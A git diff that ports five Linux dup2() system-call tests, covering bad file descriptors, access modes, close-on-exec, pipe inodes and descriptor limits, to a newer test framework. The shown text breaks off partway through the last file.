diff --git a/testcases/kernel/syscalls/dup2/dup201.c b/testcases/kernel/syscalls/dup2/dup201.c
index 4fa3446..d851eea 100644
--- a/testcases/kernel/syscalls/dup2/dup201.c
+++ b/testcases/kernel/syscalls/dup2/dup201.c
@@ -1,163 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 01/2002 Removed EMFILE test - Paul Larson
+ */
+/*\
+ * [Description]
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * Negative tests for dup2() with bad fd (EBADF).
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * - First fd argument is less than 0
+ * - First fd argument is getdtablesize()
+ * - Second fd argument is less than 0
+ * - Second fd argument is getdtablesize()
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * NAME
- *	dup201.c
- *
- * DESCRIPTION
- *	Negative tests for dup2() with bad fd (EBADF)
- *
- * ALGORITHM
- * 	Setup:
- *	a.	Setup signal handling.
- *	b.	Pause for SIGUSR1 if option specified.
- *
- * 	Test:
- *	a.	Loop if the proper options are given.
- *	b.	Loop through the test cases
- * 	c.	Execute dup2() system call
- *	d.	Check return code, if system call failed (return=-1), test
- *		for EBADF.
- *
- * 	Cleanup:
- * 	a.	Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  dup201 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	01/2002 Removed EMFILE test - Paul Larson
- *
- * RESTRICTIONS
- * 	NONE
- */
-
-#include <sys/types.h>
-#include <fcntl.h>
 #include <errno.h>
-#include <sys/time.h>
-#include <sys/resource.h>
 #include <unistd.h>
-#include <signal.h>
-#include "test.h"
+#include "tst_test.h"
 
-void setup(void);
-void cleanup(void);
+static int maxfd, mystdout;
+static int goodfd = 5;
+static int badfd = -1;
 
-char *TCID = "dup201";
-int TST_TOTAL = 4;
-
-int maxfd;
-int goodfd = 5;
-int badfd = -1;
-int mystdout = 0;
-
-struct test_case_t {
+static struct tcase {
 	int *ofd;
 	int *nfd;
-	int error;
-	void (*setupfunc) ();
-} TC[] = {
-	/* First fd argument is less than 0 - EBADF */
-	{&badfd, &goodfd, EBADF, NULL},
-	    /* First fd argument is getdtablesize() - EBADF */
-	{&maxfd, &goodfd, EBADF, NULL},
-	    /* Second fd argument is less than 0 - EBADF */
-	{&mystdout, &badfd, EBADF, NULL},
-	    /* Second fd argument is getdtablesize() - EBADF */
-	{&mystdout, &maxfd, EBADF, NULL},
+} tcases[] = {
+	{&badfd, &goodfd},
+	{&maxfd, &goodfd},
+	{&mystdout, &badfd},
+	{&mystdout, &maxfd},
 };
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			/* call the test case setup routine if necessary */
-			if (TC[i].setupfunc != NULL)
-				(*TC[i].setupfunc) ();
-
-			TEST(dup2(*TC[i].ofd, *TC[i].nfd));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS,
-					 "failed as expected - errno = %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "failed unexpectedly; "
-					 "expected %d: %s", TC[i].error,
-					 strerror(TC[i].error));
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
 	/* get some test specific values */
 	maxfd = getdtablesize();
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void run(unsigned int i)
 {
-	tst_rmdir();
+	struct tcase *tc = tcases + i;
+
+	TST_EXP_FAIL2(dup2(*tc->ofd, *tc->nfd), EBADF,
+			"dup2(%d, %d)", *tc->ofd, *tc->nfd);
 }
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup202.c b/testcases/kernel/syscalls/dup2/dup202.c
index c87769f..659f3a4 100644
--- a/testcases/kernel/syscalls/dup2/dup202.c
+++ b/testcases/kernel/syscalls/dup2/dup202.c
@@ -1,167 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * NAME
- *	dup202.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Is the access mode the same for both file descriptors?
- *		0: read only ?	"0444"
- *		1: write only ? "0222"
- *		2: read/write ? "0666"
+ * Test whether the access mode are the same for both file descriptors.
  *
- * ALGORITHM
- *	Creat a file with each access mode; dup each file descriptor;
- *	stat each file descriptor and compare modes of each pair
+ * Create file with mode, dup2, [change mode], check mode
  *
- * USAGE:  <for command-line>
- *  dup202 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * - read only, dup2, read only ? "0444"
+ * - write only, dup2, write only ? "0222"
+ * - read/write, dup2 read/write ? "0666"
+ * - read/write/execute, dup2, set read only, read only ? "0444"
+ * - read/write/execute, dup2, set write only, write only ? "0222"
+ * - read/write/execute, dup2, set read/write, read/write ? "0666"
  */
 
-#include <sys/types.h>
-#include <sys/stat.h>
 #include <errno.h>
-#include <fcntl.h>
 #include <stdio.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-char *TCID = "dup202";
-int TST_TOTAL = 3;
-
-void setup(void);
-void cleanup(void);
-
-char testfile[40];
-int fail;
-int newfd;
+static char testfile[40];
+static int ofd = -1, nfd = -1;
 
 /* set these to a known index into our local file descriptor table */
-int duprdo = 10, dupwro = 20, duprdwr = 30;
+static int duprdo, dupwro, duprdwr;
 
-struct test_case_t {
+static struct tcase {
 	int *nfd;
 	mode_t mode;
-} TC[] = {
-	/* The first test creat(es) a file with mode 0444 */
-	{
-	&duprdo, (S_IRUSR | S_IRGRP | S_IROTH)},
-	    /* The second test creat(es) a file with mode 0222 */
-	{
-	&dupwro, (S_IWUSR | S_IWGRP | S_IWOTH)},
-	    /* The third test creat(es) a file with mode 0666 */
-	{
-	&duprdwr,
-		    (S_IRUSR | S_IRGRP | S_IROTH | S_IWUSR | S_IWGRP | S_IWOTH)}
+	/* 0 - set mode before dup2, 1 - change mode after dup2 */
+	int flag;
+} tcases[] = {
+	{&duprdo, 0444, 0},
+	{&dupwro, 0222, 0},
+	{&duprdwr, 0666, 0},
+	{&duprdo, 0444, 1},
+	{&dupwro, 0222, 1},
+	{&duprdwr, 0666, 1},
 };
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int i, ofd;
+	int nextfd;
+
+	umask(0);
+	sprintf(testfile, "dup202.%d", getpid());
+
+	/* Pick up fds that are known not to collide with creat */
+	nextfd = SAFE_CREAT(testfile, 0777);
+	duprdo = SAFE_DUP(nextfd);
+	dupwro = SAFE_DUP(nextfd);
+	duprdwr = SAFE_DUP(nextfd);
+	/* SAFE_CLOSE will set fd to -1 */
+	close(duprdwr);
+	close(dupwro);
+	close(duprdo);
+	SAFE_CLOSE(nextfd);
+	SAFE_UNLINK(testfile);
+
+}
+
+static void cleanup(void)
+{
+	close(ofd);
+	close(nfd);
+}
+
+static void run(unsigned int i)
+{
 	struct stat oldbuf, newbuf;
+	struct tcase *tc = tcases + i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (tc->flag)
+		ofd = SAFE_CREAT(testfile, 0777);
+	else
+		ofd = SAFE_CREAT(testfile, tc->mode);
+	nfd = *tc->nfd;
 
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			if ((ofd = creat(testfile, TC[i].mode)) == -1)
-				tst_brkm(TBROK | TERRNO, cleanup,
-					 "creat failed");
-
-			TEST(dup2(ofd, *TC[i].nfd));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "call failed unexpectedly");
-				continue;
-			}
-
-			/* stat the original file */
-			SAFE_FSTAT(cleanup, ofd, &oldbuf);
-
-			/* stat the duped file */
-			SAFE_FSTAT(cleanup, *TC[i].nfd, &newbuf);
-
-			if (oldbuf.st_mode != newbuf.st_mode)
-				tst_resm(TFAIL, "original and dup "
-					 "modes do not match");
-			else
-				tst_resm(TPASS, "fstat shows new and "
-					 "old modes are the same");
-
-			/* remove the file so that we can use it again */
-			if (close(*TC[i].nfd) == -1)
-				perror("close failed");
-			if (close(ofd) == -1)
-				perror("close failed");
-			if (unlink(testfile) == -1)
-				perror("unlink failed");
-		}
+	TEST(dup2(ofd, nfd));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TTERRNO, "call failed unexpectedly");
+		goto free;
+	}
+	if (tc->flag) {
+		SAFE_CHMOD(testfile, tc->mode);
+		tst_res(TINFO, "original mode 0777, new mode 0%o after chmod", tc->mode);
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_FSTAT(ofd, &oldbuf);
+
+	SAFE_FSTAT(nfd, &newbuf);
+
+	if (oldbuf.st_mode != newbuf.st_mode)
+		tst_res(TFAIL, "original(%o) and duped(%o) are not same mode",
+			oldbuf.st_mode, newbuf.st_mode);
+	else
+		tst_res(TPASS, "original(%o) and duped(%o) are the same mode",
+			oldbuf.st_mode, newbuf.st_mode);
+
+	SAFE_CLOSE(nfd);
+free:
+	SAFE_CLOSE(ofd);
+	SAFE_UNLINK(testfile);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	(void)umask(0);
-
-	sprintf(testfile, "dup202.%d", getpid());
-}
-
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup203.c b/testcases/kernel/syscalls/dup2/dup203.c
index e6f281a..c76f125 100644
--- a/testcases/kernel/syscalls/dup2/dup203.c
+++ b/testcases/kernel/syscalls/dup2/dup203.c
@@ -1,208 +1,110 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * NAME
- *	dup203.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check the basic functionality of dup2().
+ * Testcase to check the basic functionality of dup2().
  *
- * ALGORITHM
- *	1.	Attempt to dup2() on an open file descriptor.
- *	2.	Attempt to dup2() on a close file descriptor.
- *
- * USAGE:  <for command-line>
- *  dup203 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
+ * - Attempt to dup2() on an open file descriptor.
+ * - Attempt to dup2() on a close file descriptor.
  */
 
-#include <fcntl.h>
-#include <sys/param.h>
 #include <errno.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdio.h>
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-void setup(void);
-void cleanup(void);
+static char filename0[40], filename1[40];
+static int fd0 = -1, fd1 = -1;
 
-char *TCID = "dup203";
-int TST_TOTAL = 1;
+static struct tcase {
+	char *desc;
+	int is_close;
+} tcases[] = {
+	{"Test duping over an open fd", 0},
+	{"Test duping over a close fd", 1},
+};
 
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
-	int fd0, fd1, fd2, rval;
-	char filename0[40], filename1[40];
+	int fd2, rval;
 	char buf[40];
 
-	int lc;
+	struct tcase *tc = tcases + i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	tst_res(TINFO, "%s", tc->desc);
 
-	setup();
+	fd0 = SAFE_CREAT(filename0, 0666);
+	SAFE_WRITE(1, fd0, filename0, strlen(filename0));
+	SAFE_CLOSE(fd0);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	fd1 = SAFE_CREAT(filename1, 0666);
+	SAFE_WRITE(1, fd1, filename1, strlen(filename1));
 
-		tst_count = 0;
-//block1:
-		tst_resm(TINFO, "Enter block 1");
-		tst_resm(TINFO, "Test duping over an open fd");
+	fd0 = SAFE_OPEN(filename0, O_RDONLY);
+	SAFE_FCNTL(fd0, F_SETFD, 1);
 
-		sprintf(filename0, "dup202.file0.%d\n", getpid());
-		sprintf(filename1, "dup202.file1.%d\n", getpid());
-		unlink(filename0);
-		unlink(filename1);
-
-		if ((fd0 = creat(filename0, 0666)) == -1)
-			tst_brkm(TBROK, cleanup, "cannot create first file");
-		if (write(fd0, filename0, strlen(filename0)) == -1)
-			tst_brkm(TBROK, cleanup, "filename0: write(2) failed");
-
-		if ((fd1 = creat(filename1, 0666)) == -1)
-			tst_brkm(TBROK, cleanup, "Cannot create second file");
-		if (write(fd1, filename1, strlen(filename1)) == -1)
-			tst_brkm(TBROK, cleanup, "filename1: write(2) failed");
-
-		SAFE_CLOSE(cleanup, fd0);
-		if ((fd0 = open(filename0, O_RDONLY)) == -1)
-			tst_brkm(TBROK, cleanup, "open(2) on filename0 failed");
-
-		SAFE_CLOSE(cleanup, fd1);
-		if ((fd1 = open(filename1, O_RDONLY)) == -1)
-			tst_brkm(TBROK, cleanup, "open(2) on filename1 failed");
-
-		TEST(dup2(fd0, fd1));
-
-		if ((fd2 = TEST_RETURN) == -1) {
-			tst_resm(TFAIL, "call failed unexpectedly");
-		} else {
-			if (fd1 != fd2) {
-				tst_resm(TFAIL, "file descriptors don't match");
-				break;
-			}
-
-			memset(buf, 0, sizeof(buf));
-			if (read(fd2, buf, sizeof(buf)) == -1)
-				tst_brkm(TBROK, cleanup, "read(2) failed");
-			if (strcmp(buf, filename0) != 0)
-				tst_resm(TFAIL, "read from file got bad data");
-			tst_resm(TPASS, "dup2 test 1 functionality is correct");
-		}
-
-		close(fd0);
-		close(fd1);
-		close(fd2);
-		unlink(filename0);
-		unlink(filename1);
-
-		tst_resm(TINFO, "Exit block 1");
-
-//block2:
-		tst_resm(TINFO, "Enter block 2");
-		tst_resm(TINFO, "Test close on exec flag");
-
-		sprintf(filename0, "dup02.%d\n", getpid());
-		unlink(filename0);
-
-		if ((fd0 = creat(filename0, 0666)) == -1) {
-			tst_brkm(TBROK, cleanup, "Cannot create first file");
-		}
-		if (fcntl(fd0, F_SETFD, 1) == -1) {
-			tst_brkm(TBROK, cleanup, "setting close on exec flag "
-				 "on fd0 failed");
-		}
-
-		if ((fd2 = creat(filename1, 0666)) == -1) {
-			tst_brkm(TBROK, cleanup, "Cannot create second file");
-		}
-
+	if (tc->is_close) {
 		/* SAFE_CLOSE() sets the fd to -1 avoid it here */
-		rval = fd2;
-		SAFE_CLOSE(cleanup, rval);
-
-		TEST(dup2(fd0, fd2));
-
-		if ((fd1 = TEST_RETURN) == -1) {
-			tst_resm(TFAIL, "call failed unexpectedly");
-		} else {
-			if (fd1 != fd2) {
-				tst_resm(TFAIL, "bad dup2 descriptor %d", fd1);
-				break;
-			}
-
-			if ((rval = fcntl(fd1, F_GETFD, 0)) != 0) {
-				tst_resm(TBROK | TERRNO,
-					 "fcntl F_GETFD on fd1 failed; expected a "
-					 "return value of 0x0, got %#x", rval);
-				break;
-			}
-			if ((rval = (fcntl(fd0, F_GETFL, 0) & O_ACCMODE)) !=
-			    O_WRONLY) {
-				tst_resm(TFAIL, "fctnl F_GETFL bad rval on fd0 "
-					 "Expected %#x got %#x", O_WRONLY,
-					 rval);
-			}
-			tst_resm(TPASS, "dup2 test 2 functionality is correct");
-		}
-
-		close(fd0);
-		close(fd1);
-
-		unlink(filename0);
-		unlink(filename1);
-		tst_resm(TINFO, "Exit block 2");
+		rval = fd1;
+		SAFE_CLOSE(rval);
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(dup2(fd0, fd1));
+	fd2 = TST_RET;
+	if (TST_RET == -1) {
+		tst_res(TFAIL, "call failed unexpectedly");
+		goto free;
+	}
+	if (fd1 != fd2) {
+		tst_res(TFAIL, "file descriptors don't match");
+		goto free;
+	}
+
+	memset(buf, 0, sizeof(buf));
+	SAFE_READ(0, fd2, buf, sizeof(buf));
+	if (strcmp(buf, filename0) != 0)
+		tst_res(TFAIL, "read from file got bad data");
+	else
+		tst_res(TPASS, "test the content of file is correct");
+
+	rval = SAFE_FCNTL(fd2, F_GETFD);
+	if (rval != 0)
+		tst_res(TFAIL, "the FD_CLOEXEC flag is %#x, expected 0x0",
+			rval);
+	else
+		tst_res(TPASS, "test the FD_CLOEXEC flag is correct");
+free:
+	SAFE_CLOSE(fd0);
+	SAFE_CLOSE(fd1);
+	SAFE_UNLINK(filename0);
+	SAFE_UNLINK(filename1);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
+	int pid;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
+	pid = getpid();
+	sprintf(filename0, "dup203.file0.%d\n", pid);
+	sprintf(filename1, "dup203.file1.%d\n", pid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	tst_rmdir();
+	close(fd0);
+	close(fd1);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_tmpdir = 1,
+	.test = run,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup204.c b/testcases/kernel/syscalls/dup2/dup204.c
index a357bc1..112ce0c 100644
--- a/testcases/kernel/syscalls/dup2/dup204.c
+++ b/testcases/kernel/syscalls/dup2/dup204.c
@@ -1,128 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
  */
 
-/*
- * NAME
- *	dup204.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check the basic functionality of dup2(2).
- *
- * ALGORITHM
- *	attempt to call dup2() on read/write ends of a pipe
- *
- * USAGE:  <for command-line>
- *  dup204 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * RESTRICTION
- *	NONE
+ * Test whether the inode number are the same for both file descriptors.
  */
 
-#ifndef _GNU_SOURCE
-#define _GNU_SOURCE
-#endif
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <errno.h>
-#include <signal.h>
-#include <string.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <unistd.h>
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-void setup();
-void cleanup();
+static int fd[2] = {-1, -1};
+static int nfd[2] = {10, 20};
 
-char *TCID = "dup204";
-int TST_TOTAL = 2;
-
-int fd[2];
-int nfd[2];
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-	int i;
-	struct stat oldbuf, newbuf;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* loop through the test cases */
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(dup2(fd[i], nfd[i]));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "call failed unexpectedly");
-				continue;
-			}
-
-			SAFE_FSTAT(cleanup, fd[i], &oldbuf);
-			SAFE_FSTAT(cleanup, nfd[i], &newbuf);
-
-			if (oldbuf.st_ino != newbuf.st_ino)
-				tst_resm(TFAIL, "original and duped "
-					 "inodes do not match");
-			else
-				tst_resm(TPASS, "original and duped "
-					 "inodes are the same");
-
-			SAFE_CLOSE(cleanup, TEST_RETURN);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	SAFE_PIPE(fd);
 }
 
-void setup(void)
+static void cleanup(void)
 {
-	fd[0] = -1;
+	unsigned int i;
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_PIPE(cleanup, fd);
-}
-
-void cleanup(void)
-{
-	int i;
-
-	for (i = 0; i < (int)ARRAY_SIZE(fd); i++) {
+	for (i = 0; i < ARRAY_SIZE(fd); i++) {
 		close(fd[i]);
 		close(nfd[i]);
 	}
-
-	tst_rmdir();
 }
+
+static void run(unsigned int i)
+{
+	struct stat oldbuf, newbuf;
+
+	TST_EXP_VAL(dup2(fd[i], nfd[i]), nfd[i]);
+	if (TST_RET == -1)
+		return;
+
+	SAFE_FSTAT(fd[i], &oldbuf);
+	SAFE_FSTAT(nfd[i], &newbuf);
+
+	TST_EXP_EQ_LU(oldbuf.st_ino, newbuf.st_ino);
+
+	SAFE_CLOSE(TST_RET);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(fd),
+	.test = run,
+	.setup = setup,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/dup2/dup205.c b/testcases/kernel/syscalls/dup2/dup205.c
index 0b32453..fa7b27d 100644
--- a/testcases/kernel/syscalls/dup2/dup205.c
+++ b/testcases/kernel/syscalls/dup2/dup205.c
@@ -1,134 +1,83 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2002
+ * Ported from SPIE, section2/iosuite/dup6.c, by Airong Zhang
  */
 
-/* Ported from SPIE, section2/iosuite/dup6.c, by Airong Zhang */
+/*\
+ * [Description]
+ *
+ * Negative test for dup2() with max open file descriptors.
+ */
 
-/*======================================================================
-	=================== TESTPLAN SEGMENT ===================
->KEYS:  < dup2()
->WHAT:  < Does dup return -1 on the 21st file?
->HOW:   < Create up to _NFILE files and check for -1 return on the
-	< next attempt
-	< Should check NOFILE as well as _NFILE.  19-Jun-84 Dale.
->BUGS:  <
-======================================================================*/
-
-#include <sys/param.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <errno.h>
-#include <fcntl.h>
+#include <stdlib.h>
 #include <stdio.h>
 #include <unistd.h>
-#include "test.h"
+#include "tst_test.h"
+#include "tst_safe_macros.h"
 
-char *TCID = "dup205";
-int TST_TOTAL = 1;
-int *fildes;
-int min;
-int local_flag;
-
-#define PASSED 1
-#define FAILED 0
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char *av[])
-{
-	int ifile;
-	char pfilname[40];
-	int serrno;
-
-	int lc;
-
-	ifile = -1;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	local_flag = PASSED;
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		sprintf(pfilname, "./dup205.%d\n", getpid());
-		unlink(pfilname);
-		serrno = 0;
-		if ((fildes[0] = creat(pfilname, 0666)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "creat failed");
-		else {
-			fildes[fildes[0]] = fildes[0];
-			for (ifile = fildes[0] + 1; ifile < min + 10; ifile++) {
-				if ((fildes[ifile] = dup2(fildes[ifile - 1],
-							  ifile)) == -1) {
-					serrno = errno;
-					break;
-				} else {
-					if (fildes[ifile] != ifile) {
-						tst_brkm(TFAIL, cleanup,
-							 "got wrong descriptor "
-							 "number back (%d != %d)",
-							 fildes[ifile], ifile);
-					}
-				}
-			}	/* end for */
-			if (ifile < min) {
-				tst_resm(TFAIL, "Not enough files duped");
-				local_flag = FAILED;
-			} else if (ifile > min) {
-				tst_resm(TFAIL, "Too many files duped");
-				local_flag = FAILED;
-			}
-			if (serrno != EBADF && serrno != EMFILE &&
-			    serrno != EINVAL) {
-				tst_resm(TFAIL, "bad errno on dup2 failure");
-				local_flag = FAILED;
-			}
-		}
-		unlink(pfilname);
-		for (ifile = fildes[0]; ifile < min + 10; ifile++)
-			close(fildes[ifile]);
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed.");
-		} else {
-			tst_resm(TFAIL, "Test failed.");
-		}
-
-	}
-	cleanup();
-	tst_exit();
-}
+static int *fildes;
+static int min;
+static char pfilname[40];
 
 static void setup(void)
 {
-	tst_tmpdir();
-
 	min = getdtablesize();	/* get number of files allowed open */
-	fildes = malloc((min + 10) * sizeof(int));
-	if (fildes == NULL)
-		tst_brkm(TBROK | TERRNO, cleanup, "malloc error");
+	fildes = SAFE_MALLOC((min + 10) * sizeof(int));
+	memset(fildes, -1, (min + 10) * sizeof(int));
+	sprintf(pfilname, "./dup205.%d\n", getpid());
 }
 
 static void cleanup(void)
 {
 	if (fildes != NULL)
 		free(fildes);
-	tst_rmdir();
 }
+
+static void run(void)
+{
+	int ifile = -1, rc = 0;
+
+	fildes[0] = SAFE_CREAT(pfilname, 0666);
+	fildes[fildes[0]] = fildes[0];
+	for (ifile = fildes[0] + 1; ifile < min + 10; ifile++) {
+		TEST(dup2(fildes[ifile - 1], ifile));
+		fildes[ifile] = TST_RET;
+		if (fildes[ifile] == -1)
+			break;
+		if (fildes[ifile] != ifile)
+			tst_brk(TFAIL,
